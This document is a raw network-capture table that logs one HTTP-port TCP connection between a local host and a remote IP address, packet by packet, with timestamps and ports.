Jan 10, 2025 20:59:02.780142069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780214071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780251026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780267000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780280113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780291080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780303955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780304909 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.780316114 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780328989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780342102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.780396938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.780396938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.780396938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.780396938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.816807032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.816817999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.816828966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.816839933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.816852093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.816864014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.816880941 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.816911936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.817128897 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.817174911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.817224979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.821686983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821719885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821727037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821744919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821754932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821795940 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.821820974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821834087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.821866035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.821902037 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.821983099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.822021961 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.822030067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.822042942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.822056055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.822082996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.822115898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.822129011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.822159052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859280109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859302044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859322071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859365940 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859416962 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859416962 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859427929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859463930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859473944 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859489918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859502077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859522104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859538078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859544992 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859549999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859575987 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859589100 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859826088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859895945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859913111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859925985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859934092 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.859939098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.859961987 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.860063076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.860080957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.860095024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.860100985 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.860106945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.860122919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.860132933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.860132933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.860162973 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861011028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861088037 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861186028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861207962 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861221075 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861232042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861244917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861252069 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861257076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861269951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861272097 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861282110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861294985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861303091 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861309052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861315966 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861320972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861332893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861360073 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861382008 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861388922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861402035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861413956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861419916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861432076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861444950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861448050 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861489058 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861769915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861816883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861831903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861836910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861874104 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.861896038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861963034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.861979008 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862013102 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862034082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862059116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862067938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862070084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862083912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862096071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862102032 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862117052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862128019 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862133980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862143993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862158060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862162113 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862215042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862221003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862237930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862251997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862276077 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862657070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862668037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862678051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862687111 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.862703085 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.862741947 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864250898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864264011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864315987 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864326000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864337921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864347935 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864372015 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864384890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864387989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864547014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864559889 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864571095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864582062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864590883 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864593983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864605904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864617109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864619017 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864630938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864643097 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864662886 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864856958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864875078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864892960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864902020 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864903927 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864919901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864929914 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864932060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864943981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864955902 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.864955902 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.864989996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875077009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875113964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875143051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875154018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875159979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875161886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875180960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875193119 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875195026 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875206947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875228882 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875246048 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875524998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875536919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875550032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875571966 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875586033 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875768900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875781059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875792980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875807047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.875817060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.875843048 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.881695032 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.903666019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903707027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903721094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903742075 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903759956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903765917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.903770924 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903785944 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903798103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903805017 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.903810978 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.903825998 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.903844118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.909363031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909424067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.909446001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909460068 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909473896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909486055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909498930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909501076 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.909512043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.909543991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.909562111 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946397066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946417093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946430922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946481943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946533918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946556091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946590900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946604013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946618080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946630955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946654081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946655035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946666956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946677923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946680069 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946698904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946707964 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946715117 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946728945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946739912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946752071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946760893 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946764946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946778059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946782112 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946789980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946803093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946805954 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946820974 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.946820974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.946847916 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.947668076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947736979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.947815895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947839022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947850943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947865009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947886944 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.947890043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947901964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947901964 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.947915077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947926998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947937965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947949886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947956085 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.947968006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947981119 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.947988987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.947994947 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948004007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948014975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948028088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948031902 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948038101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948051929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948069096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948075056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948096991 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948110104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948121071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948142052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948154926 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948174953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948185921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948196888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948225975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948230982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948247910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948260069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948271990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948276997 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948286057 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948297024 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948302031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948323965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948331118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948342085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948354006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948364973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948365927 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948378086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948390007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948395967 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948405981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948420048 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948446989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948502064 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948513985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948524952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948539972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948550940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948550940 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948563099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948589087 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948595047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948612928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948613882 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948626995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948637962 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948656082 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948657036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948683977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948684931 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948725939 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.948729038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948741913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.948807001 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950439930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950453997 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950465918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950509071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950594902 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950615883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950633049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950648069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950655937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950659990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950670958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950675011 CET	49716	80	192.168.2.6	193.143.1.205
